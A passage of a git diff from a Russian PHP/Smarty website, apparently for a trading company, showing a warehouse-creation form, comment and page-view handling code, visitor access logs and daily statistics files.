})
|
|
||||||
|
|
||||||
//Показываем окошко удаления обложки
|
|
||||||
$("#btn-open-modal-del-img").click(function(event) {
|
|
||||||
$('#exampleModal2').modal('show');
|
|
||||||
return false;
|
|
||||||
})
|
|
||||||
|
|
||||||
$("#del_img").click(function(event) {
|
|
||||||
$('#div-img').hide('2000');
|
|
||||||
$('#exampleModal2').modal('hide');
|
|
||||||
var id = $(this).data('id');
|
|
||||||
$.ajax({ type: "POST", url: '/act/page_cat', data: "act=del_img&id=" + id });
|
|
||||||
return false;
|
|
||||||
})
|
|
||||||
/*
|
|
||||||
$(document).ready(function() {
|
|
||||||
$('.owl-carousel').owlCarousel({
|
|
||||||
items: 3,
|
|
||||||
margin: 10,
|
|
||||||
nav: false
|
|
||||||
});
|
|
||||||
});*/
|
|
|
@ -0,0 +1,86 @@
|
||||||
|
{*
|
||||||
|
Модальное окно с формой создания склада
|
||||||
|
*}
|
||||||
|
<div class="modal fade" id="modalNewSklad" tabindex="-1" role="dialog" aria-hidden="true">
|
||||||
|
<div class="modal-dialog modal-dialog-centered modal-xl" role="document">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="container-fluid">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col text-right">
|
||||||
|
<button type="button" class="close" data-dismiss="modal" aria-label="Close" >
|
||||||
|
<span aria-hidden="true"> <i class="fa fa-times"></i></span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-md-12">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-md-12">
|
||||||
|
<h3>Новый склад</h3>
|
||||||
|
<form id="formNewSklad" action="/act/lk-my-orgs" class="row" data-alertID="#alertSaveSklad">
|
||||||
|
<input type="hidden" name="org_id">
|
||||||
|
<input class="hidden" name="act" value="newsklad">
|
||||||
|
<div class="col-md-12">
|
||||||
|
<label class="form-label">Название</label>
|
||||||
|
<input type="text" class="form-control" name="txt" id="inputSkladTxt">
|
||||||
|
</div>
|
||||||
|
<div class="col-md-12">
|
||||||
|
<label class="form-label">Тип склада</label>
|
||||||
|
<select class="form-control mb-3" name="sp_sklad_tip">
|
||||||
|
{section name=customer loop=$sp_sklad_tip} {if $sp_sklad_tip[customer].id}
|
||||||
|
<option value="{$sp_sklad_tip[customer].id}">{$sp_sklad_tip[customer].txt}</option>
|
||||||
|
{/if} {/section}
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<div class="col-md-6">
|
||||||
|
<label class="form-label">Регион</label>
|
||||||
|
<select class="form-control mt-2 mb-2" name="region" id="sel-parent-region">
|
||||||
|
{section name=customer loop=$region} {if $region[customer].id}
|
||||||
|
<option value="{$region[customer].id}" {if ($user_info["0"].region == $region[customer].id)} selected {/if}>{$region[customer].txt}</option>
|
||||||
|
{/if} {/section}
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<div class="col-md-6">
|
||||||
|
<label class="form-label">Город</label>
|
||||||
|
<select class="form-control mt-2 mb-2" name="city" id="sel-children-city">
|
||||||
|
{section name=customer loop=$city} {if $city[customer].id}
|
||||||
|
<option value="{$city[customer].id}" data-chained="{$city[customer].region_id}" {if ($user_info['0'].city==$city[customer].id)} selected{/if}>{$city[customer].txt}</option>
|
||||||
|
{/if} {/section}
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<div class="col-md-6">
|
||||||
|
<label class="form-label">Улица</label>
|
||||||
|
<input type="text" class="form-control" name="street">
|
||||||
|
</div>
|
||||||
|
<div class="col-md-6">
|
||||||
|
<label class="form-label">Дом</label>
|
||||||
|
<input type="text" class="form-control" name="dom">
|
||||||
|
</div>
|
||||||
|
<div class="col-md-6">
|
||||||
|
<label class="form-label">Телефоны</label>
|
||||||
|
<textarea class="form-control" name="telefon"></textarea>
|
||||||
|
</div>
|
||||||
|
<div class="col-md-6">
|
||||||
|
<label class="form-label">2GIS</label>
|
||||||
|
<input type="text" class="form-control" name="map">
|
||||||
|
</div>
|
||||||
|
<div class="col-md-12">
|
||||||
|
<label class="form-label">ИД 1С <small>?</small></label>
|
||||||
|
<input type="text" class="form-control" name="id1c">
|
||||||
|
</div>
|
||||||
|
<hr>
|
||||||
|
<div class="col-md-12">
|
||||||
|
<input type="submit" class="btn btn-dark mb-2 mt-2" id="btnAddSklad" data-id="" name="createOrg" value="Создать">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
|
@ -1,53 +1,14 @@
|
||||||
<?php
|
<?php
|
||||||
|
/* ----------------------------------------------------------------------
|
||||||
//print_r($_FILES);
|
11.02.2023
|
||||||
//print_r($_POST);
|
Добавляем коммент
|
||||||
//echo 1;
|
---------------------------------------------------------------------- */
|
||||||
switch( @$_POST['act'] ) {
|
switch( @$_POST['act'] ) {
|
||||||
case 'add_comment':
|
case 'add_comment':
|
||||||
$_POST['t'] = time();
|
$_POST['t'] = time();
|
||||||
if ( !$_SESSION['user_id']) die ( 'не авторизован' );
|
if ( !$_SESSION['user_id']) die ( 'не авторизован' );
|
||||||
|
\DB::add( "INSERT INTO `pages_comments` (`user_id`, `page_id`, `txt`, `t`, `status`) VALUES(?, ?, ?, ?, 0)", array( $_SESSION['user_id'], $_POST['page_id'], nl2br( $_POST['txt']), time() ) );
|
||||||
\DB::add("INSERT INTO `pages_comments` (`user_id`, `page_id`, `txt`, `t`, `status`) VALUES(?, ?, ?, ?, 0)", array(
|
|
||||||
|
|
||||||
$_SESSION['user_id'],
|
|
||||||
$_POST['page_id'],
|
|
||||||
nl2br( $_POST['txt']),
|
|
||||||
time()
|
|
||||||
|
|
||||||
|
|
||||||
));
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 'like':
|
|
||||||
unset($a);
|
|
||||||
unset($b);
|
|
||||||
$a['id']=$_POST['id'];
|
|
||||||
$b['likes']=$db->get_val('pages', $a, 'likes')+1;
|
|
||||||
setcookie ("page_like", $a['id'], time()+31536000, '/', $_SERVER['SERVER_NAME']);
|
|
||||||
$db->update('pages', $a['id'], $b);
|
|
||||||
break;
|
|
||||||
case 'edit_title'://интерактивное измениение заголовка
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 'r_comment'://рейтинг коментариев
|
|
||||||
require_once MYDIR . '/api/modules/page/ajax.' . $_POST['act'] . '.php';
|
|
||||||
break;
|
break;
|
||||||
default:
|
default:
|
||||||
|
|
||||||
}
|
}
|
||||||
?>
|
?>
|
|
@ -1,28 +1,14 @@
|
||||||
<?php
|
<?php
|
||||||
|
|
||||||
ini_set('display_errors', 0);
|
ini_set('display_errors', 0);
|
||||||
|
|
||||||
@mkdir('img/' . $_SERVER['SERVER_NAME'] . '/ava', 0700);
|
@mkdir('img/' . $_SERVER['SERVER_NAME'] . '/ava', 0700);
|
||||||
|
|
||||||
/*
|
|
||||||
20.11.2017 добавлен поиск по алиасу (ЧПУ) /alias.html
|
|
||||||
22.03.2021: Почти все засунуто в ООП
|
|
||||||
-- Доделать лайки и дизлайки
|
|
||||||
-- Сделать коментарии
|
|
||||||
*/
|
|
||||||
//print_r($_SESSION);
|
|
||||||
|
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
/* ----------------------------------------------------------------------
|
||||||
11.02.2023
|
11.02.2023
|
||||||
Получаем страницу
|
Получаем страницу
|
||||||
---------------------------------------------------------------------- */
|
---------------------------------------------------------------------- */
|
||||||
|
|
||||||
$page = \DB::getAll("SELECT * FROM `pages` WHERE `id`=? LIMIT 1", $_GET['id']);
|
$page = \DB::getAll("SELECT * FROM `pages` WHERE `id`=? LIMIT 1", $_GET['id']);
|
||||||
if ($page[0]['status']==0)header( 'Location: /403/' );
|
if ($page[0]['status']==0)header( 'Location: /403/' );
|
||||||
$page[0]['date']=date('d.m.Y', $page[0]['t']);
|
$page[0]['date']=date('d.m.Y', $page[0]['t']);
|
||||||
$smarty->assign('page', $page);
|
$smarty->assign('page', $page);
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
/* ----------------------------------------------------------------------
|
||||||
11.02.2023
|
11.02.2023
|
||||||
Получаем данные о пользователе
|
Получаем данные о пользователе
|
||||||
|
@ -30,20 +16,17 @@ $smarty->assign('page', $page);
|
||||||
$autor=\DB::getAll("SELECT * FROM `users` WHERE `id`=? LIMIT 1", $page[0]['user_id']);
|
$autor=\DB::getAll("SELECT * FROM `users` WHERE `id`=? LIMIT 1", $page[0]['user_id']);
|
||||||
if ($autor[0]['dostup']=='a')$autor[0]['dostup']='Администратор сайта';
|
if ($autor[0]['dostup']=='a')$autor[0]['dostup']='Администратор сайта';
|
||||||
$smarty->assign('autor', $autor);
|
$smarty->assign('autor', $autor);
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
/* ----------------------------------------------------------------------
|
||||||
11.02.2023
|
11.02.2023
|
||||||
Получаем количество статей пользователя
|
Получаем количество статей пользователя
|
||||||
---------------------------------------------------------------------- */
|
---------------------------------------------------------------------- */
|
||||||
$pageskolvo=\DB::getAll("SELECT count(*) FROM `pages` WHERE `user_id`=? AND `status`=1", $page[0]['user_id']);
|
$pageskolvo=\DB::getAll("SELECT count(*) FROM `pages` WHERE `user_id`=? AND `status`=1", $page[0]['user_id']);
|
||||||
$smarty->assign('pageskolvo', $pageskolvo[0]['count(*)']);
|
$smarty->assign('pageskolvo', $pageskolvo[0]['count(*)']);
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
/* ----------------------------------------------------------------------
|
||||||
11.02.2023
|
11.02.2023
|
||||||
Получаем коментарии
|
Получаем коментарии
|
||||||
---------------------------------------------------------------------- */
|
---------------------------------------------------------------------- */
|
||||||
|
$comments=\DB::getAll("SELECT * FROM `pages_comments` WHERE `page_id`=? AND `status`=1 ORDER BY `id` DESC", $page[0]['id']);
|
||||||
$comments=\DB::getAll("SELECT * FROM `pages_comments` WHERE `page_id`=? AND `status`=1 ORDER BY `id` DESC", $_GET['id']);
|
|
||||||
//Получаем инфу о пользователе - аву и фио
|
//Получаем инфу о пользователе - аву и фио
|
||||||
for ($i=0; $i<count($comments); $i++){
|
for ($i=0; $i<count($comments); $i++){
|
||||||
$user_info=\DB::getAll("SELECT `fio`, `ava` FROM `users` WHERE `id`=? LIMIT 1", $comments[$i]['user_id'] );
|
$user_info=\DB::getAll("SELECT `fio`, `ava` FROM `users` WHERE `id`=? LIMIT 1", $comments[$i]['user_id'] );
|
||||||
|
@ -51,50 +34,18 @@ for ($i=0; $i<count($comments); $i++){
|
||||||
$comments[$i]['fio']=$user_info[0]['fio'];
|
$comments[$i]['fio']=$user_info[0]['fio'];
|
||||||
unset($user_info);
|
unset($user_info);
|
||||||
}
|
}
|
||||||
|
|
||||||
$smarty->assign('comments', $comments);
|
$smarty->assign('comments', $comments);
|
||||||
|
/* ----------------------------------------------------------------------
|
||||||
|
14.02.2023
|
||||||
|
Пишем статистику
|
||||||
//print_r($page);
|
---------------------------------------------------------------------- */
|
||||||
/*
|
$see=\DB::getValue("SELECT `see` FROM `pages` WHERE `id`=? LIMIT 1", $page[0]['id']);
|
||||||
//Получаем данные о категории
|
$user_id=($_SESSION['user_id'])?$_SESSION['user_id']:session_id();
|
||||||
if ( $page[0]['parent'] !=0 ) $cat_info = $mod -> get_cat_info ( $page[0]['parent'] );
|
$id=\DB::getValue("SELECT `id` FROM `likes` WHERE `content_id`=? AND `user_id`=? AND `tip`='see' LIMIT 1", array($page[0]['id'], $user_id));
|
||||||
|
if (!$id){
|
||||||
//Получаем данные о пользователе
|
$see++;
|
||||||
unset( $a );
|
\DB::set("UPDATE `pages` SET `see`=? WHERE `id`=? LIMIT 1", array($see, $page[0]['id']));
|
||||||
$a['id'] = $page[0]['user_id'];
|
\DB::add("INSERT INTO `likes` (`user_id`, `content_id`, `tip`) VALUES(?, ?, ?)", array($user_id, $page[0]['id'], 'see'));
|
||||||
$user_info = $db -> get_val( 'users', $a, 'json' );
|
}
|
||||||
$smarty->assign('user_info', $db->from_j($user_info));
|
$smarty->assign('see', $see);
|
||||||
|
|
||||||
|
|
||||||
//получаем список категорий + статей в них
|
|
||||||
|
|
||||||
$cats=$mod->get_cat_list();
|
|
||||||
|
|
||||||
$smarty->assign('cats_lists', $cats);
|
|
||||||
|
|
||||||
|
|
||||||
$keywords = $mod -> gen_keywords ($page[0]['txt']);
|
|
||||||
|
|
||||||
|
|
||||||
$smarty->assign('keys', $keywords);
|
|
||||||
$smarty->assign('comments', $mod -> comments);
|
|
||||||
//$smarty->assign('breadcrumb', $mod -> get_breadcrumb($page[0]['pages_cat']));
|
|
||||||
unset($tmp);
|
|
||||||
|
|
||||||
if ($page[0]['public']==0 && $_SESSION['dostup']!=='a')header( 'Location: /403/' );
|
|
||||||
|
|
||||||
//Получаем статьи этого пользователя
|
|
||||||
unset($b);
|
|
||||||
//echo $page[0]['avtor'];
|
|
||||||
$b['user_id']=$page[0]['user_id'];
|
|
||||||
$page_user=$db->get_massiv('pages', $b, 't', 20);
|
|
||||||
$smarty->assign('page_user', $page_user);
|
|
||||||
//загружаем список картинок
|
|
||||||
unset($c);
|
|
||||||
$db -> or_by_desc = '';
|
|
||||||
$c['page_id']=$page[0]['id'];
|
|
||||||
|
|
||||||
*/
|
|
||||||
?>
|
?>
|
|
@ -0,0 +1,3 @@
|
||||||
|
80.80.108.36;1676434896;Chrome 10+;Windows;http://webspros.ru/chat.php?invite=pc&member=tk-ligat.ru&pg=21&check=ok;
|
||||||
|
46.165.16.184;1676480411;Firefox 10+;Linux;https://tk-ligat.ru/api/admin/0;
|
||||||
|
46.165.16.184;1676480658;Firefox 10+;Linux;https://tk-ligat.ru/api/admin/19003;
|
|
|
@ -0,0 +1,6 @@
|
||||||
|
95.161.239.129;1676505323;Chrome 10+;Windows;https://tk-ligat.ru/tovar_cat/166;
|
||||||
|
46.165.49.31;1676521445;Firefox 10+;Windows;https://tk-ligat.ru/;
|
||||||
|
46.165.49.31;1676521451;Firefox 10+;Windows;https://tk-ligat.ru/login/;
|
||||||
|
178.46.117.27;1676533191;Chrome 10+;Windows;https://tk-ligat.ru/;
|
||||||
|
37.9.68.155;1676539860; ;Неизвестна;https://tk-ligat.ru/;
|
||||||
|
88.83.200.201;1676555167;Chrome 10+;Windows;https://tk-ligat.ru/tovar_cat/0-1.html;
|
|
|
@ -0,0 +1,7 @@
|
||||||
|
46.165.16.184;1676652477;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/51-1.html;
|
||||||
|
46.165.16.184;1676652485;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/50-1.html;
|
||||||
|
46.165.16.184;1676652492;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/72-1.html;
|
||||||
|
46.165.16.184;1676652520;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/62-1.html;
|
||||||
|
46.165.16.184;1676652587;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/62-5.html;
|
||||||
|
46.165.16.184;1676652617;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/118-1.html;
|
||||||
|
46.165.16.184;1676653753;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/118-1.html;
|
|
|
@ -0,0 +1 @@
|
||||||
|
95.29.230.108;1676735685;Chrome 10+;Windows;https://tk-ligat.ru/tovar_cat/5680;
|
|
|
@ -0,0 +1,7 @@
|
||||||
|
54.172.78.31;1676757091;Chrome 10+;Windows;https://tk-ligat.ru/;
|
||||||
|
176.210.30.156;1676791508;Chrome 10+;Windows;https://tk-ligat.ru/tovar_cat/270;
|
||||||
|
95.29.234.77;1676791523;Chrome 10+;Windows;https://tk-ligat.ru/;
|
||||||
|
2.60.64.158;1676817303;Chrome 10+;Windows;https://tk-ligat.ru/tovar_show/31868;
|
||||||
|
46.165.16.184;1676821294;Firefox 10+;Linux;https://tk-ligat.ru/api/admin/8;
|
||||||
|
46.165.16.184;1676821295;Firefox 10+;Linux;https://tk-ligat.ru/api/admin/8;
|
||||||
|
46.165.16.184;1676822750;Firefox 10+;Linux;https://tk-ligat.ru/;
|
|
|
@ -1 +1 @@
|
||||||
1675923493
|
1676533192
|
|
|
@ -1,178 +1,188 @@
|
||||||
1675371600;11;2;3;
|
1675371600;11;2;;03.02.2023.csv;
|
||||||
1673298000;10;1;3;
|
1673298000;10;1;;10.01.2023.csv;
|
||||||
1675803600;17;3;1;
|
1676149200;2;2;;12.02.2023.csv;
|
||||||
1657832400;2;2;2;
|
1675803600;17;3;;08.02.2023.csv;
|
||||||
1662411600;1;1;1;
|
1676062800;2;2;;11.02.2023.csv;
|
||||||
1673643600;50;3;3;
|
1657832400;2;2;;15.07.2022.csv;
|
||||||
1664571600;2;2;2;
|
1662411600;1;1;;06.09.2022.csv;
|
||||||
1660338000;1;1;1;
|
1673643600;50;3;;14.01.2023.csv;
|
||||||
1674421200;2;1;1;
|
1664571600;2;2;;01.10.2022.csv;
|
||||||
1674334800;42;1;1;
|
1660338000;1;1;;13.08.2022.csv;
|
||||||
1662584400;2;2;2;
|
1674421200;2;1;;23.01.2023.csv;
|
||||||
1671570000;43;4;3;
|
1674334800;42;1;;22.01.2023.csv;
|
||||||
1666386000;13;2;2;
|
1662584400;2;2;;08.09.2022.csv;
|
||||||
1673211600;129;5;3;
|
1671570000;43;4;;21.12.2022.csv;
|
||||||
1665867600;3;2;2;
|
1666386000;13;2;;22.10.2022.csv;
|
||||||
1662498000;5;5;4;
|
1675976400;4;1;;10.02.2023.csv;
|
||||||
1661202000;5;3;3;
|
1673211600;129;5;;09.01.2023.csv;
|
||||||
1671310800;10;2;2;
|
1665867600;3;2;;16.10.2022.csv;
|
||||||
1670878800;7;3;3;
|
1662498000;5;5;;07.09.2022.csv;
|
||||||
1658350800;1;1;1;
|
1661202000;5;3;;23.08.2022.csv;
|
||||||
1662843600;7;2;3;
|
1671310800;10;2;;18.12.2022.csv;
|
||||||
1672952400;197;7;10;
|
1670878800;7;3;;13.12.2022.csv;
|
||||||
1666126800;5;2;2;
|
1658350800;1;1;;21.07.2022.csv;
|
||||||
1671051600;45;3;2;
|
1662843600;7;2;;11.09.2022.csv;
|
||||||
1660597200;14;2;2;
|
1672952400;197;7;;06.01.2023.csv;
|
||||||
1671915600;176;3;4;
|
1666126800;5;2;;19.10.2022.csv;
|
||||||
1674680400;11;5;3;
|
1671051600;45;3;;15.12.2022.csv;
|
||||||
1657314000;3;2;2;
|
1660597200;14;2;;16.08.2022.csv;
|
||||||
1671742800;2;1;1;
|
1671915600;176;3;;25.12.2022.csv;
|
||||||
1666818000;1;1;1;
|
1674680400;11;5;;26.01.2023.csv;
|
||||||
1661029200;18;3;3;
|
1657314000;3;2;;09.07.2022.csv;
|
||||||
1674766800;16;5;3;
|
1671742800;2;1;;23.12.2022.csv;
|
||||||
1660251600;1;1;1;
|
1666818000;1;1;;27.10.2022.csv;
|
||||||
1656277200;10;5;4;
|
1661029200;18;3;;21.08.2022.csv;
|
||||||
1674162000;6;5;3;
|
1676408400;3;2;;15.02.2023.csv;
|
||||||
1663621200;10;6;5;
|
1674766800;16;5;;27.01.2023.csv;
|
||||||
1675026000;6;6;1;
|
1660251600;1;1;;12.08.2022.csv;
|
||||||
1658091600;2;2;2;
|
1656277200;10;5;;27.06.2022.csv;
|
||||||
1671483600;67;3;2;
|
1674162000;6;5;;20.01.2023.csv;
|
||||||
1672434000;50;2;2;
|
1663621200;10;6;;20.09.2022.csv;
|
||||||
1656968400;15;4;4;
|
1675026000;6;6;;30.01.2023.csv;
|
||||||
1672088400;240;3;4;
|
1658091600;2;2;;18.07.2022.csv;
|
||||||
1673816400;33;1;1;
|
1671483600;67;3;;20.12.2022.csv;
|
||||||
1657400400;2;2;2;
|
1672434000;50;2;;31.12.2022.csv;
|
||||||
1673384400;66;3;3;
|
1676235600;13;3;;13.02.2023.csv;
|
||||||
1660078800;1;1;1;
|
1656968400;15;4;;05.07.2022.csv;
|
||||||
1660165200;2;2;2;
|
1672088400;240;3;;27.12.2022.csv;
|
||||||
1657141200;15;4;4;
|
1673816400;33;1;;16.01.2023.csv;
|
||||||
1673902800;11;4;4;
|
1657400400;2;2;;10.07.2022.csv;
|
||||||
1657746000;2;2;2;
|
1673384400;66;3;;11.01.2023.csv;
|
||||||
1671829200;45;4;3;
|
1660078800;1;1;;10.08.2022.csv;
|
||||||
1665954000;2;1;1;
|
1660165200;2;2;;11.08.2022.csv;
|
||||||
1674248400;15;6;3;
|
1657141200;15;4;;07.07.2022.csv;
|
||||||
1660510800;15;6;4;
|
1673902800;11;4;;17.01.2023.csv;
|
||||||
1661806800;4;4;4;
|
1657746000;2;2;;14.07.2022.csv;
|
||||||
1658005200;2;2;2;
|
1671829200;45;4;;24.12.2022 (conflicted copy 2022-12-24 194548).csv;
|
||||||
1659992400;1;1;1;
|
1665954000;2;1;;17.10.2022.csv;
|
||||||
1666299600;6;2;2;
|
1674248400;15;6;;21.01.2023.csv;
|
||||||
1672866000;74;5;6;
|
1660510800;15;6;;15.08.2022.csv;
|
||||||
1666645200;3;3;3;
|
1661806800;4;4;;30.08.2022.csv;
|
||||||
1661374800;6;3;4;
|
1658005200;2;2;;17.07.2022.csv;
|
||||||
1662066000;3;3;2;
|
1659992400;1;1;;09.08.2022.csv;
|
||||||
1656363600;9;4;4;
|
1666299600;6;2;;21.10.2022.csv;
|
||||||
1656622800;1;1;1;
|
1672866000;74;5;;05.01.2023.csv;
|
||||||
1663362000;1;1;1;
|
1666645200;3;3;;25.10.2022.csv;
|
||||||
1674939600;4;2;1;
|
1661374800;6;3;;25.08.2022.csv;
|
||||||
1672174800;177;3;5;
|
1662066000;3;3;;02.09.2022.csv;
|
||||||
1672261200;84;3;5;
|
1656363600;9;4;;28.06.2022.csv;
|
||||||
1664226000;3;1;1;
|
1656622800;1;1;;01.07.2022.csv;
|
||||||
1659301200;2;2;2;
|
1663362000;1;1;;17.09.2022.csv;
|
||||||
1667250000;1;1;1;
|
1674939600;4;2;;29.01.2023.csv;
|
||||||
1663880400;9;2;1;
|
1676494800;6;5;;16.02.2023.csv;
|
||||||
1659214800;1;1;1;
|
1672174800;177;3;;28.12.2022.csv;
|
||||||
1664744400;1;1;1;
|
1672261200;84;3;;29.12.2022.csv;
|
||||||
1659646800;2;2;2;
|
1664226000;3;1;;27.09.2022.csv;
|
||||||
1663707600;2;1;1;
|
1659301200;2;2;;01.08.2022.csv;
|
||||||
1657227600;3;3;3;
|
1667250000;1;1;;01.11.2022.csv;
|
||||||
1673989200;6;2;2;
|
1663880400;9;2;;23.09.2022.csv;
|
||||||
1661547600;2;2;2;
|
1659214800;1;1;;31.07.2022.csv;
|
||||||
1656795600;56;1;1;
|
1664744400;1;1;;03.10.2022.csv;
|
||||||
1659560400;1;1;1;
|
1659646800;2;2;;05.08.2022.csv;
|
||||||
1672002000;120;2;5;
|
1663707600;2;1;;21.09.2022.csv;
|
||||||
1665176400;6;1;1;
|
1657227600;3;3;;08.07.2022.csv;
|
||||||
1662152400;2;2;2;
|
1673989200;6;2;;18.01.2023.csv;
|
||||||
1671829200;9;4;3;
|
1661547600;2;2;;27.08.2022.csv;
|
||||||
1674075600;46;5;3;
|
1656795600;56;1;;03.07.2022.csv;
|
||||||
1661893200;1;1;1;
|
1659560400;1;1;;04.08.2022.csv;
|
||||||
1663189200;2;2;2;
|
1672002000;120;2;;26.12.2022.csv;
|
||||||
1656882000;2;2;2;
|
1665176400;6;1;;08.10.2022.csv;
|
||||||
1670965200;2;1;1;
|
1662152400;2;2;;03.09.2022.csv;
|
||||||
1672520400;228;2;3;
|
1671829200;9;4;;24.12.2022.csv;
|
||||||
1660424400;1;1;1;
|
1674075600;46;5;;19.01.2023.csv;
|
||||||
1658955600;1;1;1;
|
1661893200;1;1;;31.08.2022.csv;
|
||||||
1673125200;20;5;6;
|
1663189200;2;2;;15.09.2022.csv;
|
||||||
1659042000;1;1;1;
|
1656882000;2;2;;04.07.2022.csv;
|
||||||
1658610000;1;1;1;
|
1670965200;2;1;;14.12.2022.csv;
|
||||||
1662325200;2;2;2;
|
1672520400;228;2;;01.01.2023.csv;
|
||||||
1666472400;13;3;3;
|
1660424400;1;1;;14.08.2022.csv;
|
||||||
1658696400;1;1;1;
|
1658955600;1;1;;28.07.2022.csv;
|
||||||
1659387600;1;1;1;
|
1673125200;20;5;;08.01.2023.csv;
|
||||||
1675198800;5;2;2;
|
1659042000;1;1;;29.07.2022.csv;
|
||||||
1666904400;7;4;4;
|
1658610000;1;1;;24.07.2022.csv;
|
||||||
1657918800;1;1;1;
|
1662325200;2;2;;05.09.2022.csv;
|
||||||
1667336400;3;1;1;
|
1666472400;13;3;;23.10.2022.csv;
|
||||||
1656450000;2;2;2;
|
1658696400;1;1;;25.07.2022.csv;
|
||||||
1658782800;3;3;2;
|
1676667600;1;1;;18.02.2023.csv;
|
||||||
1672693200;147;4;8;
|
1659387600;1;1;;02.08.2022.csv;
|
||||||
1673557200;2;1;1;
|
1675198800;5;2;;01.02.2023.csv;
|
||||||
1663102800;1;1;1;
|
1675890000;70;5;;09.02.2023.csv;
|
||||||
1659474000;1;1;1;
|
1666904400;7;4;;28.10.2022.csv;
|
||||||
1660683600;15;4;4;
|
1657918800;1;1;;16.07.2022.csv;
|
||||||
1658178000;1;1;1;
|
1667336400;3;1;;02.11.2022.csv;
|
||||||
1656190800;7;1;1;
|
1656450000;2;2;;29.06.2022.csv;
|
||||||
1663534800;269;5;5;
|
1658782800;3;3;;26.07.2022.csv;
|
||||||
1660942800;1;1;1;
|
1672693200;147;4;;03.01.2023.csv;
|
||||||
1673470800;12;4;2;
|
1673557200;2;1;;13.01.2023.csv;
|
||||||
1665781200;16;13;5;
|
1663102800;1;1;;14.09.2022.csv;
|
||||||
1671656400;8;5;4;
|
1659474000;1;1;;03.08.2022.csv;
|
||||||
1661115600;1;1;1;
|
1660683600;15;4;;17.08.2022.csv;
|
||||||
1671397200;193;5;6;
|
1658178000;1;1;;19.07.2022.csv;
|
||||||
1664398800;1;1;1;
|
1656190800;7;1;;26.06.2022.csv;
|
||||||
1661461200;2;2;2;
|
1663534800;269;5;;19.09.2022.csv;
|
||||||
1657054800;7;4;3;
|
1660942800;1;1;;20.08.2022.csv;
|
||||||
1665262800;9;1;1;
|
1673470800;12;4;;12.01.2023.csv;
|
||||||
1657573200;1;1;1;
|
1665781200;16;13;;15.10.2022.csv;
|
||||||
1659906000;1;1;1;
|
1671656400;8;5;;22.12.2022.csv;
|
||||||
1673038800;61;1;5;
|
1661115600;1;1;;22.08.2022.csv;
|
||||||
1663016400;3;3;3;
|
1671397200;193;5;;19.12.2022.csv;
|
||||||
1665694800;2;2;2;
|
1664398800;1;1;;29.09.2022.csv;
|
||||||
1673730000;164;1;1;
|
1661461200;2;2;;26.08.2022.csv;
|
||||||
1665349200;3;2;2;
|
1657054800;7;4;;06.07.2022.csv;
|
||||||
1658523600;2;2;2;
|
1665262800;9;1;;09.10.2022.csv;
|
||||||
1666213200;3;1;1;
|
1657573200;1;1;;12.07.2022.csv;
|
||||||
1665608400;1;1;1;
|
1659906000;1;1;;08.08.2022.csv;
|
||||||
1667077200;6;2;2;
|
1673038800;61;1;;07.01.2023.csv;
|
||||||
1660770000;1;1;1;
|
1663016400;3;3;;13.09.2022.csv;
|
||||||
1662930000;7;4;4;
|
1665694800;2;2;;14.10.2022.csv;
|
||||||
1671224400;295;1;1;
|
1673730000;164;1;;15.01.2023.csv;
|
||||||
1659128400;1;1;1;
|
1665349200;3;2;;10.10.2022.csv;
|
||||||
1675112400;12;2;2;
|
1658523600;2;2;;23.07.2022.csv;
|
||||||
1663275600;3;3;3;
|
1666213200;3;1;;20.10.2022.csv;
|
||||||
1661979600;1;1;1;
|
1665608400;1;1;;13.10.2022.csv;
|
||||||
1662238800;1;1;1;
|
1667077200;6;2;;30.10.2022.csv;
|
||||||
1667509200;1;1;1;
|
1660770000;1;1;;18.08.2022.csv;
|
||||||
1666731600;1;1;1;
|
1662930000;7;4;;12.09.2022.csv;
|
||||||
1662670800;1;1;1;
|
1671224400;295;1;;17.12.2022.csv;
|
||||||
1675458000;246;7;7;
|
1659128400;1;1;;30.07.2022.csv;
|
||||||
1661288400;5;3;2;
|
1675112400;12;2;;31.01.2023.csv;
|
||||||
1674853200;4;1;1;
|
1663275600;3;3;;16.09.2022.csv;
|
||||||
1661720400;2;1;1;
|
1661979600;1;1;;01.09.2022.csv;
|
||||||
1675285200;58;3;4;
|
1662238800;1;1;;04.09.2022.csv;
|
||||||
1659819600;3;3;2;
|
1667509200;1;1;;04.11.2022.csv;
|
||||||
1659733200;1;1;1;
|
1666731600;1;1;;26.10.2022.csv;
|
||||||
1671138000;15;4;3;
|
1662670800;1;1;;09.09.2022.csv;
|
||||||
1663448400;4;2;2;
|
1675458000;246;7;;04.02.2023.csv;
|
||||||
1675717200;5;1;2;
|
1661288400;5;3;;24.08.2022.csv;
|
||||||
1658869200;1;1;1;
|
1674853200;4;1;;28.01.2023.csv;
|
||||||
1666558800;2;1;1;
|
1661720400;2;1;;29.08.2022.csv;
|
||||||
1667422800;2;2;2;
|
1675285200;58;3;;02.02.2023.csv;
|
||||||
1672606800;99;8;6;
|
1659819600;3;3;;07.08.2022.csv;
|
||||||
1672779600;450;6;6;
|
1659733200;1;1;;06.08.2022.csv;
|
||||||
1664053200;2;2;1;
